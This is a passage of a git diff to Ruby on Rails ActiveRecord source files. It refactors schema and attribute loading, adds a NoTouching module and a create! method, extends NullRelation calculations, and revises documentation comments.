+++ b/activerecord/lib/active_record/migration/join_table.rb
@@ -8,7 +8,7 @@ module ActiveRecord
       end
 
       def join_table_name(table_1, table_2)
-        [table_1.to_s, table_2.to_s].sort.join("_").to_sym
+        ModelSchema.derive_join_table_name(table_1, table_2).to_sym
       end
     end
   end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index 75c0c1bda8..75adcccce6 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -29,11 +29,21 @@ module ActiveRecord
       # :singleton-method:
       # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
       # "people_basecamp"). By default, the suffix is the empty string.
+      #
+      # If you are organising your models within modules, you can add a suffix to the models within
+      # a namespace by defining a singleton method in the parent module called table_name_suffix which
+      # returns your chosen suffix.
       class_attribute :table_name_suffix, instance_writer: false
       self.table_name_suffix = ""
 
       ##
       # :singleton-method:
+      # Accessor for the name of the schema migrations table. By default, the value is "schema_migrations"
+      class_attribute :schema_migrations_table_name, instance_accessor: false
+      self.schema_migrations_table_name = "schema_migrations"
+
+      ##
+      # :singleton-method:
       # Indicates whether table names should be the pluralized versions of the corresponding class names.
       # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
       # See table_name for the full rules on table/class naming. This is true, by default.
@@ -41,6 +51,19 @@ module ActiveRecord
       self.pluralize_table_names = true
 
       self.inheritance_column = 'type'
+
+      delegate :type_for_attribute, to: :class
+    end
+
+    # Derives the join table name for +first_table+ and +second_table+. The
+    # table names appear in alphabetical order. A common prefix is removed
+    # (useful for namespaced models like Music::Artist and Music::Record):
+    #
+    #   artists, records => artists_records
+    #   records, artists => artists_records
+    #   music_artists, music_records => music_artists_records
+    def self.derive_join_table_name(first_table, second_table) # :nodoc:
+      [first_table.to_s, second_table.to_s].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
     end
 
     module ClassMethods
@@ -88,17 +111,6 @@ module ActiveRecord
       #   class Mouse < ActiveRecord::Base
       #     self.table_name = "mice"
       #   end
-      #
-      # Alternatively, you can override the table_name method to define your
-      # own computation. (Possibly using <tt>super</tt> to manipulate the default
-      # table name.) Example:
-      #
-      #   class Post < ActiveRecord::Base
-      #     def self.table_name
-      #       "special_" + super
-      #     end
-      #   end
-      #   Post.table_name # => "special_posts"
       def table_name
         reset_table_name unless defined?(@table_name)
         @table_name
@@ -109,9 +121,6 @@ module ActiveRecord
       #   class Project < ActiveRecord::Base
       #     self.table_name = "project"
       #   end
-      #
-      # You can also just define your own <tt>self.table_name</tt> method; see
-      # the documentation for ActiveRecord::Base#table_name.
       def table_name=(value)
         value = value && value.to_s
 
@@ -124,7 +133,7 @@ module ActiveRecord
         @quoted_table_name = nil
         @arel_table        = nil
         @sequence_name     = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
-        @relation          = Relation.create(self, arel_table)
+        @predicate_builder = nil
       end
 
       # Returns a quoted version of the table name, used to construct SQL statements.
@@ -147,6 +156,10 @@ module ActiveRecord
         (parents.detect{ |p| p.respond_to?(:table_name_prefix) } || self).table_name_prefix
       end
 
+      def full_table_name_suffix #:nodoc:
+        (parents.detect {|p| p.respond_to?(:table_name_suffix) } || self).table_name_suffix
+      end
+
       # Defines the name of the table column which will store the class name on single-table
       # inheritance situations.
       #
@@ -184,7 +197,7 @@ module ActiveRecord
       # given block. This is required for Oracle and is useful for any
       # database which relies on sequences for primary key generation.
       #
-      # If a sequence name is not explicitly set when using Oracle or Firebird,
+      # If a sequence name is not explicitly set when using Oracle,
       # it will default to the commonly used pattern of: #{table_name}_seq
       #
       # If a sequence name is not explicitly set when using PostgreSQL, it
@@ -203,61 +216,49 @@ module ActiveRecord
         connection.schema_cache.table_exists?(table_name)
       end
 
-      # Returns an array of column objects for the table associated with this class.
-      def columns
-        @columns ||= connection.schema_cache.columns(table_name).map do |col|
-          col = col.dup
-          col.primary = (col.name == primary_key)
-          col
-        end
+      def attributes_builder # :nodoc:
+        @attributes_builder ||= AttributeSet::Builder.new(attribute_types, primary_key)
       end
 
-      # Returns a hash of column objects for the table associated with this class.
-      def columns_hash
-        @columns_hash ||= Hash[columns.map { |c| [c.name, c] }]
+      def columns_hash # :nodoc:
+        load_schema
+        @columns_hash
       end
 
-      def column_types # :nodoc:
-        @column_types ||= decorate_columns(columns_hash.dup)
+      def columns
+        load_schema
+        @columns ||= columns_hash.values
       end
 
-      def decorate_columns(columns_hash) # :nodoc:
-        return if columns_hash.empty?
-
-        @serialized_column_names ||= self.columns_hash.keys.find_all do |name|
-          serialized_attributes.key?(name)
-        end
-
-        @serialized_column_names.each do |name|
-          columns_hash[name] = AttributeMethods::Serialization::Type.new(columns_hash[name])
-        end
-
-        @time_zone_column_names ||= self.columns_hash.find_all do |name, col|
-          create_time_zone_conversion_attribute?(name, col)
-        end.map!(&:first)
-
-        @time_zone_column_names.each do |name|
-          columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(columns_hash[name])
-        end
+      def attribute_types # :nodoc:
+        load_schema
+        @attribute_types ||= Hash.new(Type::Value.new)
+      end
 
-        columns_hash
+      def type_for_attribute(attr_name) # :nodoc:
+        attribute_types[attr_name]
       end
 
       # Returns a hash where the keys are column names and the values are
       # default values when instantiating the AR object for this table.
       def column_defaults
-        @column_defaults ||= Hash[columns.map { |c| [c.name, c.default] }]
+        load_schema
+        _default_attributes.to_hash
+      end
+
+      def _default_attributes # :nodoc:
+        @default_attributes ||= AttributeSet.new({})
       end
 
       # Returns an array of column names as strings.
       def column_names
-        @column_names ||= columns.map { |column| column.name }
+        @column_names ||= columns.map(&:name)
       end
 
       # Returns an array of column objects where the primary id, all columns ending in "_id" or "_count",
       # and columns used for single table inheritance have been removed.
       def content_columns
-        @content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
+        @content_columns ||= columns.reject { |c| c.name == primary_key || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
       end
 
       # Resets all the cached information about columns, which will cause them
@@ -289,32 +290,53 @@ module ActiveRecord
       def reset_column_information
         connection.clear_cache!
         undefine_attribute_methods
-        connection.schema_cache.clear_table_cache!(table_name) if table_exists?
-
-        @arel_engine             = nil
-        @column_defaults         = nil
-        @column_names            = nil
-        @columns                 = nil
-        @columns_hash            = nil
-        @column_types            = nil
-        @content_columns         = nil
-        @dynamic_methods_hash    = nil
-        @inheritance_column      = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
-        @relation                = nil
-        @serialized_column_names = nil
-        @time_zone_column_names  = nil
-        @cached_time_zone        = nil
-      end
+        connection.schema_cache.clear_table_cache!(table_name)
 
-      # This is a hook for use by modules that need to do extra stuff to
-      # attributes when they are initialized. (e.g. attribute
-      # serialization)
-      def initialize_attributes(attributes, options = {}) #:nodoc:
-        attributes
+        reload_schema_from_cache
       end
 
       private
 
+      def schema_loaded?
+        defined?(@columns_hash) && @columns_hash
+      end
+
+      def load_schema
+        unless schema_loaded?
+          load_schema!
+        end
+      end
+
+      def load_schema!
+        @columns_hash = connection.schema_cache.columns_hash(table_name)
+        @columns_hash.each do |name, column|
+          define_attribute(
+            name,
+            connection.lookup_cast_type_from_column(column),
+            default: column.default,
+            user_provided_default: false
+          )
+        end
+      end
+
+      def reload_schema_from_cache
+        @arel_engine = nil
+        @arel_table = nil
+        @column_names = nil
+        @attribute_types = nil
+        @content_columns = nil
+        @default_attributes = nil
+        @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+        @attributes_builder = nil
+        @column_names = nil
+        @attribute_types = nil
+        @columns = nil
+        @columns_hash = nil
+        @content_columns = nil
+        @default_attributes = nil
+        @attribute_names = nil
+      end
+
       # Guesses the table name, but does not decorate it with prefix and suffix information.
       def undecorated_table_name(class_name = base_class.name)
         table_name = class_name.to_s.demodulize.underscore
@@ -331,7 +353,8 @@ module ActiveRecord
             contained = contained.singularize if parent.pluralize_table_names
             contained += '_'
           end
-          "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{table_name_suffix}"
+
+          "#{full_table_name_prefix}#{contained}#{undecorated_table_name(name)}#{full_table_name_suffix}"
         else
           # STI subclasses always use their superclass' table.
           base.table_name
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index df28451bb7..117a128579 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -81,6 +81,9 @@ module ActiveRecord
     #
     # Note that the model will _not_ be destroyed until the parent is saved.
     #
+    # Also note that the model will not be destroyed unless you also specify
+    # its id in the updated hash.
+    #
     # === One-to-many
     #
     # Consider a member that has a number of posts:
@@ -111,7 +114,7 @@ module ActiveRecord
     #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
     #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
     #
-    # You may also set a :reject_if proc to silently ignore any new record
+    # You may also set a +:reject_if+ proc to silently ignore any new record
     # hashes if they fail to pass your criteria. For example, the previous
     # example could be rewritten as:
     #
@@ -133,7 +136,7 @@ module ActiveRecord
     #   member.posts.first.title # => 'Kari, the awesome Ruby documentation browser!'
     #   member.posts.second.title # => 'The egalitarian assumption of the modern citizen'
     #
-    # Alternatively, :reject_if also accepts a symbol for using methods:
+    # Alternatively, +:reject_if+ also accepts a symbol for using methods:
     #
     #   class Member < ActiveRecord::Base
     #     has_many :posts
@@ -212,13 +215,13 @@ module ActiveRecord
     # All changes to models, including the destruction of those marked for
     # destruction, are saved and destroyed automatically and atomically when
     # the parent model is saved. This happens inside the transaction initiated
-    # by the parents save method. See ActiveRecord::AutosaveAssociation.
+    # by the parent's save method. See ActiveRecord::AutosaveAssociation.
     #
     # === Validating the presence of a parent model
     #
     # If you want to validate that a child record is associated with a parent
-    # record, you can use <tt>validates_presence_of</tt> and
-    # <tt>inverse_of</tt> as this example illustrates:
+    # record, you can use the +validates_presence_of+ method and the +:inverse_of+
+    # key as this example illustrates:
     #
     #   class Member < ActiveRecord::Base
     #     has_many :posts, inverse_of: :member
@@ -230,7 +233,7 @@ module ActiveRecord
     #     validates_presence_of :member
     #   end
     #
-    # Note that if you do not specify the <tt>inverse_of</tt> option, then
+    # Note that if you do not specify the +:inverse_of+ option, then
     # Active Record will try to automatically guess the inverse association
     # based on heuristics.
     #
@@ -264,29 +267,31 @@ module ActiveRecord
       #   Allows you to specify a Proc or a Symbol pointing to a method
       #   that checks whether a record should be built for a certain attribute
       #   hash. The hash is passed to the supplied Proc or the method
-      #   and it should return either +true+ or +false+. When no :reject_if
+      #   and it should return either +true+ or +false+. When no +:reject_if+
       #   is specified, a record will be built for all attribute hashes that
       #   do not have a <tt>_destroy</tt> value that evaluates to true.
       #   Passing <tt>:all_blank</tt> instead of a Proc will create a proc
       #   that will reject a record where all the attributes are blank excluding
-      #   any value for _destroy.
+      #   any value for +_destroy+.
       # [:limit]
-      #   Allows you to specify the maximum number of the associated records that
-      #   can be processed with the nested attributes. Limit also can be specified as a
-      #   Proc or a Symbol pointing to a method that should return number. If the size of the
-      #   nested attributes array exceeds the specified limit, NestedAttributes::TooManyRecords
-      #   exception is raised. If omitted, any number associations can be processed.
-      #   Note that the :limit option is only applicable to one-to-many associations.
+      #   Allows you to specify the maximum number of associated records that
+      #   can be processed with the nested attributes. Limit also can be specified
+      #   as a Proc or a Symbol pointing to a method that should return a number.
+      #   If the size of the nested attributes array exceeds the specified limit,
+      #   NestedAttributes::TooManyRecords exception is raised. If omitted, any
+      #   number of associations can be processed.
+      #   Note that the +:limit+ option is only applicable to one-to-many
+      #   associations.
       # [:update_only]
       #   For a one-to-one association, this option allows you to specify how
-      #   nested attributes are to be used when an associated record already
+      #   nested attributes are going to be used when an associated record already
       #   exists. In general, an existing record may either be updated with the
       #   new set of attribute values or be replaced by a wholly new record
-      #   containing those values. By default the :update_only option is +false+
+      #   containing those values. By default the +:update_only+ option is +false+
       #   and the nested attributes are used to update the existing record only
       #   if they include the record's <tt>:id</tt> value. Otherwise a new
       #   record will be instantiated and used to replace the existing one.
-      #   However if the :update_only option is +true+, the nested attributes
+      #   However if the +:update_only+ option is +true+, the nested attributes
       #   are used to update the record's attributes always, regardless of
       #   whether the <tt>:id</tt> is present. The option is ignored for collection
       #   associations.
@@ -305,9 +310,9 @@ module ActiveRecord
         options[:reject_if] = REJECT_ALL_BLANK_PROC if options[:reject_if] == :all_blank
 
         attr_names.each do |association_name|
-          if reflection = reflect_on_association(association_name)
+          if reflection = _reflect_on_association(association_name)
             reflection.autosave = true
-            add_autosave_association_callbacks(reflection)
+            define_autosave_validation_callbacks(reflection)
 
             nested_attributes_options = self.nested_attributes_options.dup
             nested_attributes_options[association_name.to_sym] = options
@@ -335,7 +340,7 @@ module ActiveRecord
       # the helper methods defined below. Makes it seem like the nested
       # associations are just regular associations.
       def generate_association_writer(association_name, type)
-        generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+        generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
           if method_defined?(:#{association_name}_attributes=)
             remove_method(:#{association_name}_attributes=)
           end
@@ -485,10 +490,10 @@ module ActiveRecord
     end
 
     # Takes in a limit and checks if the attributes_collection has too many
-    # records. The method will take limits in the form of symbols, procs, and
-    # number-like objects (anything that can be compared with an integer).
+    # records. It accepts limit in the form of symbol, proc, or
+    # number-like object (anything that can be compared with an integer).
     #
-    # Will raise an TooManyRecords error if the attributes_collection is
+    # Raises TooManyRecords error if the attributes_collection is
     # larger than the limit.
     def check_record_limit!(limit, attributes_collection)
       if limit
@@ -516,10 +521,10 @@ module ActiveRecord
 
     # Determines if a hash contains a truthy _destroy key.
     def has_destroy_flag?(hash)
-      ConnectionAdapters::Column.value_to_boolean(hash['_destroy'])
+      Type::Boolean.new.type_cast_from_user(hash['_destroy'])
     end
 
-    # Determines if a new record should be build by checking for
+    # Determines if a new record should be rejected by checking
     # has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
     # association and evaluates to +true+.
     def reject_new_record?(association_name, attributes)
@@ -542,7 +547,7 @@ module ActiveRecord
     end
 
     def raise_nested_attributes_record_not_found!(association_name, record_id)
-      raise RecordNotFound, "Couldn't find #{self.class.reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
+      raise RecordNotFound, "Couldn't find #{self.class._reflect_on_association(association_name).klass.name} with ID=#{record_id} for #{self.class.name} with ID=#{id}"
     end
   end
 end
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
new file mode 100644
index 0000000000..edb5066fa0
--- /dev/null
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+  # = Active Record No Touching
+  module NoTouching
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Lets you selectively disable calls to `touch` for the
+      # duration of a block.
+      #
+      # ==== Examples
+      #   ActiveRecord::Base.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # does nothing
+      #   end
+      #
+      #   Project.no_touching do
+      #     Project.first.touch  # does nothing
+      #     Message.first.touch  # works, but does not touch the associated project
+      #   end
+      #
+      def no_touching(&block)
+        NoTouching.apply_to(self, &block)
+      end
+    end
+
+    class << self
+      def apply_to(klass) #:nodoc:
+        klasses.push(klass)
+        yield
+      ensure
+        klasses.pop
+      end
+
+      def applied_to?(klass) #:nodoc:
+        klasses.any? { |k| k >= klass }
+      end
+
+      private
+        def klasses
+          Thread.current[:no_touching_classes] ||= []
+        end
+    end
+
+    def no_touching?
+      NoTouching.applied_to?(self.class)
+    end
+
+    def touch(*) # :nodoc:
+      super unless no_touching?
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
index d166f0dd66..63ca29305d 100644
--- a/activerecord/lib/active_record/null_relation.rb
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -6,7 +6,7 @@ module ActiveRecord
       @records = []
     end
 
-    def pluck(_column_name)
+    def pluck(*column_names)
       []
     end
 
@@ -23,7 +23,7 @@ module ActiveRecord
     end
 
     def size
-      0
+      calculate :size, nil
     end
 
     def empty?
@@ -42,21 +42,31 @@ module ActiveRecord
       ""
     end
 
-    def where_values_hash
-      {}
-    end
-
     def count(*)
-      0
+      calculate :count, nil
     end
 
     def sum(*)
-      0
+      calculate :sum, nil
+    end
+
+    def average(*)
+      calculate :average, nil
     end
 
-    def calculate(_operation, _column_name, _options = {})
-      if _operation == :count
-        0
+    def minimum(*)
+      calculate :minimum, nil
+    end
+
+    def maximum(*)
+      calculate :maximum, nil
+    end
+
+    def calculate(operation, _column_name)
+      if [:count, :sum, :size].include? operation
+        group_values.any? ? Hash.new : 0
+      elsif [:average, :minimum, :maximum].include?(operation) && group_values.any?
+        Hash.new
       else
         nil
       end
@@ -65,5 +75,9 @@ module ActiveRecord
     def exists?(_id = false)
       false
     end
+
+    def or(other)
+      other.spawn
+    end
   end
 end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 582006ea7d..af7aef6e43 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -10,9 +10,6 @@ module ActiveRecord
       # The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
       # attributes on the objects that are to be created.
       #
-      # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
-      # in the +options+ parameter.
-      #
       # ==== Examples
       #   # Create a single new object
       #   User.create(first_name: 'Jamie')
@@ -39,8 +36,25 @@ module ActiveRecord
         end
       end
 
+      # Creates an object (or multiple objects) and saves it to the database,
+      # if validations pass. Raises a RecordInvalid error if validations fail,
+      # unlike Base#create.
+      #
+      # The +attributes+ parameter can be either a Hash or an Array of Hashes.
+      # These describe which attributes to be created on the object, or
+      # multiple objects when given an Array of Hashes.
+      def create!(attributes = nil, &block)
+        if attributes.is_a?(Array)
+          attributes.collect { |attr| create!(attr, &block) }
+        else
+          object = new(attributes, &block)
+          object.save!
+          object
+        end
+      end
+
       # Given an attributes hash, +instantiate+ returns a new instance of
-      # the appropriate class.
+      # the appropriate class. Accepts only keys as strings.
       #
       # For example, +Post.all+ may return Comments, Messages, and Emails
       # by storing the record's subclass in a +type+ attribute. By calling
@@ -49,10 +63,10 @@ module ActiveRecord
       #
       # See +ActiveRecord::Inheritance#discriminate_class_for_record+ to see
       # how this "single-table" inheritance mapping is implemented.
-      def instantiate(record, column_types = {})
-        klass = discriminate_class_for_record(record)
-        column_types = klass.decorate_columns(column_types.dup)
-        klass.allocate.init_with('attributes' => record, 'column_types' => column_types)
+      def instantiate(attributes, column_types = {})
+        klass = discriminate_class_for_record(attributes)
+        attributes = klass.attributes_builder.build_from_database(attributes, column_types)
+        klass.allocate.init_with('attributes' => attributes, 'new_record' => false)
       end
 
       private
@@ -67,7 +81,7 @@ module ActiveRecord
     end
 
     # Returns true if this object hasn't been saved yet -- that is, a record
-    # for the object doesn't exist in the data store yet; otherwise, returns false.
+    # for the object doesn't exist in the database yet; otherwise, returns false.
     def new_record?
       sync_with_transaction_state
       @new_record
@@ -95,37 +109,45 @@ module ActiveRecord
     # validate: false, validations are bypassed altogether. See
     # ActiveRecord::Validations for more information.
     #
-    # There's a series of callbacks associated with +save+. If any of the
-    # <tt>before_*</tt> callbacks return +false+ the action is cancelled and
-    # +save+ returns +false+. See ActiveRecord::Callbacks for further
+    # By default, #save also sets the +updated_at+/+updated_on+ attributes to
+    # the current time. However, if you supply <tt>touch: false</tt>, these
+    # timestamps will not be updated.
+    #
+    # There's a series of callbacks associated with #save. If any of the
+    # <tt>before_*</tt> callbacks throws +:abort+ the action is cancelled and
+    # #save returns +false+. See ActiveRecord::Callbacks for further
     # details.
     #
     # Attributes marked as readonly are silently ignored if the record is
     # being updated.
-    def save(*)
-      create_or_update
+    def save(*args)
+      create_or_update(*args)
     rescue ActiveRecord::RecordInvalid
       false
     end
 
     # Saves the model.
     #
-    # If the model is new a record gets created in the database, otherwise
+    # If the model is new, a record gets created in the database, otherwise
     # the existing record gets updated.
     #
     # With <tt>save!</tt> validations always run. If any of them fail
     # ActiveRecord::RecordInvalid gets raised. See ActiveRecord::Validations
     # for more information.
     #
-    # There's a series of callbacks associated with <tt>save!</tt>. If any of
-    # the <tt>before_*</tt> callbacks return +false+ the action is cancelled
-    # and <tt>save!</tt> raises ActiveRecord::RecordNotSaved. See
+    # By default, #save! also sets the +updated_at+/+updated_on+ attributes to
+    # the current time. However, if you supply <tt>touch: false</tt>, these
+    # timestamps will not be updated.
+    #
+    # There's a series of callbacks associated with #save!. If any of
+    # the <tt>before_*</tt> callbacks throws +:abort+ the action is cancelled
+    # and #save! raises ActiveRecord::RecordNotSaved. See
     # ActiveRecord::Callbacks for further details.
     #
     # Attributes marked as readonly are silently ignored if the record is
     # being updated.
-    def save!(*)
-      create_or_update || raise(RecordNotSaved)
+    def save!(*args)
+      create_or_update(*args) || raise(RecordNotSaved.new(nil, self))
     end
 
     # Deletes the record in the database and freezes this instance to
@@ -135,6 +157,8 @@ module ActiveRecord
     # The row is simply removed with an SQL +DELETE+ statement on the
     # record's primary key, and no callbacks are executed.
     #
+    # Note that this will also delete records marked as <tt>readonly?</tt>.
+    #
     # To enforce the object's +before_destroy+ and +after_destroy+
     # callbacks or any <tt>:dependent</tt> association
     # options, use <tt>#destroy</tt>.
@@ -147,13 +171,14 @@ module ActiveRecord
     # Deletes the record in the database and freezes this instance to reflect
     # that no changes should be made (since they can't be persisted).
     #
-    # There's a series of callbacks associated with <tt>destroy</tt>. If
-    # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
-    # and <tt>destroy</tt> returns +false+. See
-    # ActiveRecord::Callbacks for further details.
+    # There's a series of callbacks associated with #destroy. If the
+    # <tt>before_destroy</tt> callback throws +:abort+ the action is cancelled
+    # and #destroy returns +false+.
+    # See ActiveRecord::Callbacks for further details.
     def destroy
-      raise ReadOnlyRecord if readonly?
+      raise ReadOnlyRecord, "#{self.class} is marked as readonly" if readonly?
       destroy_associations
+      self.class.connection.add_transaction_record(self)
       destroy_row if persisted?
       @destroyed = true
       freeze
@@ -162,12 +187,12 @@ module ActiveRecord
     # Deletes the record in the database and freezes this instance to reflect
     # that no changes should be made (since they can't be persisted).
     #
-    # There's a series of callbacks associated with <tt>destroy!</tt>. If
-    # the <tt>before_destroy</tt> callback return +false+ the action is cancelled
-    # and <tt>destroy!</tt> raises ActiveRecord::RecordNotDestroyed. See
-    # ActiveRecord::Callbacks for further details.
+    # There's a series of callbacks associated with #destroy!. If the
+    # <tt>before_destroy</tt> callback throws +:abort+ the action is cancelled
+    # and #destroy! raises ActiveRecord::RecordNotDestroyed.
+    # See ActiveRecord::Callbacks for further details.
     def destroy!
-      destroy || raise(ActiveRecord::RecordNotDestroyed)
+      destroy || raise(ActiveRecord::RecordNotDestroyed, self)
     end
 
     # Returns an instance of the specified +klass+ with the attributes of the
@@ -183,7 +208,7 @@ module ActiveRecord
     def becomes(klass)
       became = klass.new
       became.instance_variable_set("@attributes", @attributes)
-      became.instance_variable_set("@attributes_cache", @attributes_cache)
+      became.instance_variable_set("@changed_attributes", @changed_attributes) if defined?(@changed_attributes)
       became.instance_variable_set("@new_record", new_record?)
       became.instance_variable_set("@destroyed", destroyed?)
       became.instance_variable_set("@errors", errors)
@@ -198,7 +223,11 @@ module ActiveRecord
     # share the same set of attributes.
     def becomes!(klass)
       became = becomes(klass)
-      became.public_send("#{klass.inheritance_column}=", klass.sti_name) unless self.class.descends_from_active_record?
+      sti_type = nil
+      if !klass.descends_from_active_record?
+        sti_type = klass.sti_name
+      end
+      became.public_send("#{klass.inheritance_column}=", sti_type)
       became
     end
 
@@ -212,11 +241,13 @@ module ActiveRecord
     #
     # This method raises an +ActiveRecord::ActiveRecordError+  if the
     # attribute is marked as readonly.
+    #
+    # See also +update_column+.
     def update_attribute(name, value)
       name = name.to_s
       verify_readonly_attribute(name)
-      send("#{name}=", value)
-      save(validate: false)
+      public_send("#{name}=", value)
+      save(validate: false) if changed?
     end
 
     # Updates the attributes of the model from the passed-in hash and saves the
@@ -267,7 +298,8 @@ module ActiveRecord
     # This method raises an +ActiveRecord::ActiveRecordError+ when called on new
     # objects, or when at least one of the attributes is marked as readonly.
     def update_columns(attributes)
-      raise ActiveRecordError, "can not update on a new record object" unless persisted?
+      raise ActiveRecordError, "cannot update a new record" if new_record?
+      raise ActiveRecordError, "cannot update a destroyed record" if destroyed?
 
       attributes.each_key do |key|
         verify_readonly_attribute(key.to_s)
@@ -321,7 +353,7 @@ module ActiveRecord
     # method toggles directly the underlying value without calling any setter.
     # Returns +self+.
     def toggle(attribute)
-      self[attribute] = !send("#{attribute}?")
+      self[attribute] = !public_send("#{attribute}?")
       self
     end
 
@@ -335,8 +367,18 @@ module ActiveRecord
 
     # Reloads the record from the database.
     #
-    # This method modifies the receiver in-place. Attributes are updated, and
-    # caches busted, in particular the associations cache.
+    # This method finds record by its primary key (which could be assigned manually) and
+    # modifies the receiver in-place:
+    #
+    #   account = Account.new
+    #   # => #<Account id: nil, email: nil>
+    #   account.id = 1
+    #   account.reload
+    #   # Account Load (1.2ms)  SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1  [["id", 1]]
+    #   # => #<Account id: 1, email: 'account@example.com'>
+    #
+    # Attributes are reloaded from the database, and caches busted, in
+    # particular the associations cache.
     #
     # If the record no longer exists in the database <tt>ActiveRecord::RecordNotFound</tt>
     # is raised. Otherwise, in addition to the in-place modification the method
@@ -354,7 +396,7 @@ module ActiveRecord
     #   assert_equal 25, account.credit        # check it is updated in memory
     #   assert_equal 25, account.reload.credit # check it is also persisted
     #
-    # Another commom use case is optimistic locking handling:
+    # Another common use case is optimistic locking handling:
     #
     #   def with_optimistic_retry
     #     begin
@@ -377,27 +419,29 @@ module ActiveRecord
 
       fresh_object =
         if options && options[:lock]
-          self.class.unscoped { self.class.lock.find(id) }
+          self.class.unscoped { self.class.lock(options[:lock]).find(id) }
         else
           self.class.unscoped { self.class.find(id) }
         end
 
-      @attributes.update(fresh_object.instance_variable_get('@attributes'))
-      @columns_hash = fresh_object.instance_variable_get('@columns_hash')
-
-      @attributes_cache = {}
+      @attributes = fresh_object.instance_variable_get('@attributes')
+      @new_record = false
       self
     end
 
     # Saves the record with the updated_at/on attributes set to the current time.
-    # Please note that no validation is performed and no callbacks are executed.
-    # If an attribute name is passed, that attribute is updated along with
-    # updated_at/on attributes.
+    # Please note that no validation is performed and only the +after_touch+,
+    # +after_commit+ and +after_rollback+ callbacks are executed.
+    #
+    # If attribute names are passed, they are updated along with updated_at/on
+    # attributes.
     #
-    #   product.touch               # updates updated_at/on
-    #   product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+    #   product.touch                         # updates updated_at/on
+    #   product.touch(:designed_at)           # updates the designed_at attribute and updated_at/on
+    #   product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes
     #
-    # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on associated object.
+    # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on
+    # associated object.
     #
     #   class Brake < ActiveRecord::Base
     #     belongs_to :car, touch: true
@@ -416,11 +460,11 @@ module ActiveRecord
     #   ball = Ball.new
     #   ball.touch(:updated_at)   # => raises ActiveRecordError
     #
-    def touch(name = nil)
-      raise ActiveRecordError, "can not touch on a new record object" unless persisted?
+    def touch(*names)
+      raise ActiveRecordError, "cannot touch on a new record object" unless persisted?
 
       attributes = timestamp_attributes_for_update_in_model
-      attributes << name if name
+      attributes.concat(names)
 
       unless attributes.empty?
         current_time = current_time_from_proper_timezone
@@ -433,9 +477,11 @@ module ActiveRecord
 
         changes[self.class.locking_column] = increment_lock if locking_enabled?
 
-        @changed_attributes.except!(*changes.keys)
+        clear_attribute_changes(changes.keys)
         primary_key = self.class.primary_key
         self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
+      else
+        true
       end
     end
 
@@ -450,37 +496,29 @@ module ActiveRecord
     end
 
     def relation_for_destroy
-      pk         = self.class.primary_key
-      column     = self.class.columns_hash[pk]
-      substitute = self.class.connection.substitute_at(column, 0)
-
-      relation = self.class.unscoped.where(
-        self.class.arel_table[pk].eq(substitute))
-
-      relation.bind_values = [[column, id]]
-      relation
+      self.class.unscoped.where(self.class.primary_key => id)
     end
 
-    def create_or_update
-      raise ReadOnlyRecord if readonly?
-      result = new_record? ? create_record : update_record
+    def create_or_update(*args)
+      raise ReadOnlyRecord, "#{self.class} is marked as readonly" if readonly?
+      result = new_record? ? _create_record : _update_record(*args)
       result != false
     end
 
     # Updates the associated record with values matching those of the instance attributes.
     # Returns the number of affected rows.
-    def update_record(attribute_names = @attributes.keys)
+    def _update_record(attribute_names = self.attribute_names)
       attributes_values = arel_attributes_with_values_for_update(attribute_names)
       if attributes_values.empty?
         0
       else
-        self.class.unscoped.update_record attributes_values, id, id_was
+        self.class.unscoped._update_record attributes_values, id, id_was
       end
     end
 
     # Creates a record with values matching those of the instance attributes
     # and returns its id.
-    def create_record(attribute_names = @attributes.keys)
+    def _create_record(attribute_names = self.attribute_names)
       attributes_values = arel_attributes_with_values_for_create(attribute_names)
 
       new_id = self.class.unscoped.insert attributes_values
diff --git a/activerecord/lib/active_record/query_cache.rb b/activerecord/lib/active_record/query_cache.rb
index df8654e5c1..dcb2bd3d84 100644
--- a/activerecord/lib/active_record/query_cache.rb
+++ b/activerecord/lib/active_record/query_cache.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
